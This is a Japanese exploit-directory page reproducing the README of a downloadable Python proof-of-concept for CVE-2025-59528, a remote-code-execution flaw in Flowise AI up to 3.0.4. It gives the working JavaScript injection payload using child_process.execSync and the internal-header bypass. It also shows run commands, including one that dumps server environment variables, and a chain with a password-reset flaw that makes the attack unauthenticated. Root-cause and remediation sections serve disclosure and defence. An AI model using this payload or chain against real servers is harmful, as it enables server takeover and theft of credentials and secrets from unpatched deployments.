Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Flowise-RCE-CVE-2025-59528 — CVE-2025-59528 の Python PoC エクスプロイト。customMCP エンドポイントと Node.js の child_process.execSync を介して、Flowise AI <= 3.0.4 で認証済み RCE を達成します。 | Kitploit
ツール/GitHubGitHub/arensballiu/flowise-rce-cve-2025-59528
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubarensballiu/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

CVE-2025-59528 の Python PoC エクスプロイト。customMCP エンドポイントと Node.js の child_process.execSync を介して、Flowise AI <= 3.0.4 で認証済み RCE を達成します。

リポジトリを見る
114時間37分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-59528 — Flowise AI 認証済みリモートコード実行 (RCE)

概要

CVE ID: CVE-2025-59528
影響を受けるソフトウェア: Flowise AI
脆弱なバージョン: <= 3.0.4
修正バージョン: 3.0.5 以降
深刻度: 重大
作者: arensballiu
日付: 2025

説明

Flowise AI のバージョン 3.0.4 以下では、認証済みユーザーが細工された JavaScript ペイロードを /api/v1/node-load-method/customMCP エンドポイントに送信することで、ホストサーバー上で リモートコード実行 (RCE) を達成できます。

customMCP ノードのロードメソッドは、ユーザーが制御する入力をサーバー側で JavaScript として評価しますが、適切なサニタイズやサンドボックス化が行われていません。Node.js の child_process.execSync を利用するペイロードを注入することで、攻撃者は Flowise サーバープロセスの権限で任意の OS コマンドを実行できます。

また、このエンドポイントでは x-request-from: internal ヘッダーが存在する必要があります。

影響を受けるエンドポイント

エンドポイントメソッド認証要否目的
/api/v1/auth/loginPOST不要認証してセッションを取得
/api/v1/node-load-method/customMCPPOST必要 (セッション Cookie)脆弱なノードロードメソッドエンドポイント

概念実証

ファイル: CVE-2025-59528_POC.py

要件

  • Python 3.x
  • requests ライブラリ
  • 対象の Flowise インスタンス上の任意のユーザーアカウントの有効な認証情報
root@kitploit:~
pip install requests

使用方法

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

引数

フラグロング形式必須説明
-e--emailはい認証済みユーザーのメールアドレス
-i--urlはいFlowise インスタンスのベース URL
-p--passwordはい認証済みユーザーのパスワード
-c--cmdはいサーバー上で実行する OS コマンド

例

コード実行の確認:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

サーバーの環境変数の取得:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

期待される出力

root@kitploit:~
[+] Logged in
[+] Exploit sent
[+] Status: 200

ペイロードの詳細

このエクスプロイトは、以下の JavaScript 式を mcpServerConfig フィールドに注入します:

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — Node.js の組み込みプロセス実行モジュールをロードします。
  • execSync('<command>') — 攻撃者が指定した OS コマンドを同期的に実行します。
  • 式全体はオブジェクトリテラルでラップされており、サーバーの JavaScript コンテキスト内で問題なく評価されるようにしています。

また、x-request-from: internal ヘッダーがリクエストに追加され、これがないとブロックされる内部オリジンチェックを通過します。

根本原因

customMCP エンドポイントは、ユーザーが指定した入力をサニタイズやサンドボックス化なしにサーバー上の JavaScript 評価コンテキストに直接渡します。これに process.mainModule.require を介した Node.js コアモジュール (特に child_process) への無制限アクセスが組み合わさることで、容易に悪用可能な RCE ベクターが生じます。x-request-from ヘッダーチェックは、信頼できるソースに対して検証されていないため、意味のあるセキュリティ境界を提供していません。

CVE-2025-58434 との連鎖

これらの 2 つの脆弱性は、バージョン <= 3.0.4 を実行している Flowise インスタンスに対する未認証 RCE 攻撃パスとして 連鎖 させることができます:

  1. CVE-2025-58434 を使用して、既知の任意のアカウントのパスワードをリセットします (事前認証は不要)。
  2. 新しく設定した認証情報でログインします。
  3. CVE-2025-59528 を使用して、サーバー上で任意の OS コマンドを実行します。

修復

  • Flowise AI 3.0.5 以降 に アップグレード してください。これにより、脆弱な評価パスが削除されるか、適切にサンドボックス化されます。
  • ユーザーが制御する文字列をサーバー側コンテキストでコードとして評価しないでください。
  • 適切なサンドボックス (例: vm2、分離コンテキスト、または process.mainModule アクセスの削除) を介して、危険な Node.js モジュール (child_process、fs など) へのアクセスを制限してください。
  • x-request-from ヘッダーを単純な文字列チェックではなく、サーバー側のメカニズムを通じて検証および認証してください。
  • Flowise サーバープロセスに最小権限の原則を適用してください。

免責事項

この概念実証は、教育および許可されたセキュリティ研究目的のみ で提供されています。明示的な書面による許可なくシステムに対してこのスクリプトを使用することは、違法かつ非倫理的です。作者および貢献者は、誤用に対して一切の責任を負いません。

ツールをダウンロード